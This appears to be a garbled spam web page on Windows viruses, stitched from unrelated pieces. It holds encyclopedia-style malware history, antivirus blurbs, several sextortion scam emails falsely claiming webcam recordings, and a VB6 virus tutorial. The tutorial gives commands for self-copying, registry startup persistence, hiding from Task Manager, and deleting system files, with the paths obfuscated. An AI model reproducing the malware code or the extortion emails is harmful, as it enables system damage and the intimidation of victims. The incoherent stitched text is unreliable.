Virus For Windows. We Create The Simplest Malicious Program In Assembler ? \"Hacker\"
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Types of malware include computer viruses, worms, Trojan horses, ransomware and spyware. These malicious programs steal, encrypt and delete sensitive data; alter or hijack core computing functions and monitor end users' computer activity.
One of the first known examples of malware was the Creeper virus in 1971, which was created as an experiment by BBN Technologies engineer Robert Thomas. Creeper was designed to infect mainframes on ARPANET. While the program did not alter functions or steal or delete data, it moved from one mainframe to another without permission while displaying a teletype message that read, "I'm the creeper: Catch me if you can." Creeper was later altered by computer scientist Ray Tomlinson, who added the ability to self-replicate to the virus and created the first known computer worm.
Before Internet access became widespread, viruses spread on personal computers by infecting executable programs or boot sectors of floppy disks. By inserting a copy of itself into the machine code instructions in these programs or boot sectors, a virus causes itself to be run whenever the program is run or the disk is booted. Early computer viruses were written for the Apple II and Macintosh, but they became more widespread with the dominance of the IBM PC and MS-DOS system. The first IBM PC virus in the "wild" was a boot sector virus dubbed (c)Brain,[14] created in 1986 by the Farooq Alvi brothers in Pakistan.[15] Malware distributors would trick the user into booting or running from an infected device or medium. For example, a virus could make an infected computer add autorunnable code to any USB stick plugged into it. Anyone who then attached the stick to another computer set to autorun from USB would in turn become infected, and also pass on the infection in the same way.[16]
Programs designed to monitor users' web browsing, display unsolicited advertisements, or redirect affiliate marketing revenues are called spyware. Spyware programs do not spread like viruses; instead they are generally installed by exploiting security holes. They can also be hidden and packaged together with unrelated user-installed software.[60] The Sony BMG rootkit was intended to prevent illicit copying; but also reported on users' listening habits, and unintentionally created extra security vulnerabilities.[56]
Antivirus software typically uses two techniques to detect malware: (i) static analysis and (ii) dynamic analysis.[61] Static analysis involves studying the software code of a potentially malicious program and producing a signature of that program. This information is then used to compare scanned files by an antivirus program. Because this approach is not useful for malware that has not yet been studied, antivirus software can use dynamic analysis to monitor how the program runs on a computer and block it if it performs unexpected activity.
Anti-malware (sometimes also called antivirus) programs block and remove some or all types of malware. For example, Microsoft Security Essentials (for Windows XP, Vista, and Windows 7) and Windows Defender (for Windows 8, 10 and 11) provides real-time protection. The Windows Malicious Software Removal Tool removes malicious software from the system.[85] Additionally, several capable antivirus software programs are available for free download from the Internet (usually restricted to non-commercial use).[86] Tests found some free programs to be competitive with commercial ones.[86][87][88]
Avast provides one of the most capable internet security suites available. While the company is well-known for providing free antivirus software, it's worth noting that it now includes an anti-malware feature that uses behavioral monitoring to detect malicious programs.
Sometimes a malicious program is so sophisticated that even the most sophisticated automated analysis tools are unable to detect it or understand what it does. Malicious programs can be reverse-engineered in this case using a debugger, disassembler, and other specialized tools.
The eighth anti hacking software is HitmanPro. It is a portable antimalware program that is designed to detect and remove malicious files and registry entries related to rootkits, trojans, viruses, worms, spyware, adware, rogue antivirus program, ransomware and other malware infecting computers. HitmanPro can work with other antivirus programs without any conflict.
Dont regard on my grammar, Im from Japan.I put mine malicious program on your OS.At present I stole all private data from your system. In addition I obtained some more then just data.The most interesting evidence which I have- its a record with your masturbation.I installed virus on a porn page and then you loaded it. As soon as you picked the video and clicked on a play button, my virus at once adjusted on your system.
Dont consider on my illiteracy, Im from Iran.We put our malicious program on your system.After that I pilfered all personal information from your device. In addition I got slightly more compromising evidence.The most interesting evidence that I got- its a record with your masturbation.I installed virus on a porn page and after you installed it. The moment you chose the video and pressed play button, my malicious software instantly loaded on your Operating System.
Do not pay attention on my grammar, I am from Iran.We loaded the malicious program on your system.At present I stole all private background from your device. Furthermore I have some more evidence.The most amusing compromising which I got- its a video with your masturbation.I installed virus on a porn web site and then you downloaded it. The moment you chose the video and tapped on a play, my virus immediately loaded on your device.
XXXXXXXXXAll while you had been tossing in front ofscreen of your computer when you visited erotic Web portal your pocket computer is infected with rogue program amid insecurity your Internet browser.That malicious soft registers all the operations at your gadget and also it keep an eye on about coockie of the websites that you visit.But the primary benefit of that virus is that it can plug in web cam and upload all the Contacts from your email.As well I own login to your email and social networking sites.In such a way I have got video materials and snap shots where you beat the dummy and naked.
Where is our simple virus?Ok...cool down we are getting to that part...now that we know some basic information about viruses let us delve into the evil art of virus writing. Back in the day ...ok not that far back virus writers needed to be conversant with assembly programming or even have advanced skills in c,C++ and such languages but assembly was a must because it provided greater control of the system makingthe virus absolutely wicked(read very good). But as years passed more HLL are being employed to create worms, viruses and many forms of malware.Ok enough yapping lets try to create a simple virus using the old language(not that old) of vb6....follwing the modular designmentioned above plus modifications.NB: The code is left intentionally sketchy because of any malicious guys reading this....yeah i know your out there1. Search routineWe dont need a search routine because we are not infecting any files2. Copy/replication/spreadingFileCopy App.Path & "\" & App.EXEName & ".EXE", "Drive:\Path\Name.exe"NB: ofcourse a little more intelligence is required....eg detecting when a USB device is plugged in (man i love legacy vb code, its like english)Ahh forgot on important code...to ensure out virus runs when the system starts...regedit anyone Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ###Name### /t REG_SZ /d ###Drive:\Path\Name.exe### /f", vbHideThis command will make your application start with windows.Another startup method??Shell "REG add HKCR\exefile\shell\open\command /v Shell /t REG_SZ /d ###Drive:\Path\Name.exe### %1 %* /f", vbHideThis command will make your application start when ever the victim opens another application via msnmsngr.exe as an example.3. anti-detection routineReally these are all simple lines of codeOn Error Resume NextThis command will allow the application to continue running even if an error occurs instead of terminating/closing.HideThis command will hide the application from even being seen on the victims screen even if your program has it's settings set to Visible|TrueApp.TaskVisible = FalseThis command is even better, this command will stop your program from showing up in Task Manager-Applications Tab List, but it will still show up in process list...too bad4. PayloadsNow vb6 was truly beautifully easy and nice...but also nasty if in the wrong hands...lets see some sample payloadsDeleting some system files and control panel elementsKill "%SystemRoot%\syst" & "em32\dfrg.msc"Kill "%SystemRoot%\syste" & "m32\wscui.cpl"Kill "C:\Program Files\Co" & "mmon Files\Microsoft Shared\MSInfo\msinfo32.exe"Kill "%SystemRoot%\syste" & "m32\restore\rstrui.exe"Kill "c:\WINDOWS\syste" & "m32\rundll32.exe"Getting rid of System Restore, Rundll(by deleting this file, the victim can no longer view the properties window for any file on his or her computer)
Heuristic engines are basically statistical and rule based analyze mechanisms. Their main purpose is detecting new generation(previously unknown) viruses by categorizing and giving threat/risk grades to code fragments according to predefined criterias, even when a simple hello world program scanned by AV products, heuristic engine decides on a threat/risk score if the score is higher then thresholds then the file gets marked as malicious. Heuristic engines are the most advanced part of AV products they use significant amount of rules and criterias, since no anti virus company releases blueprints or documentation about their heuristic engines all known selective criterias about their threat/risk grading policy are found with trial and error. 2b1af7f3a8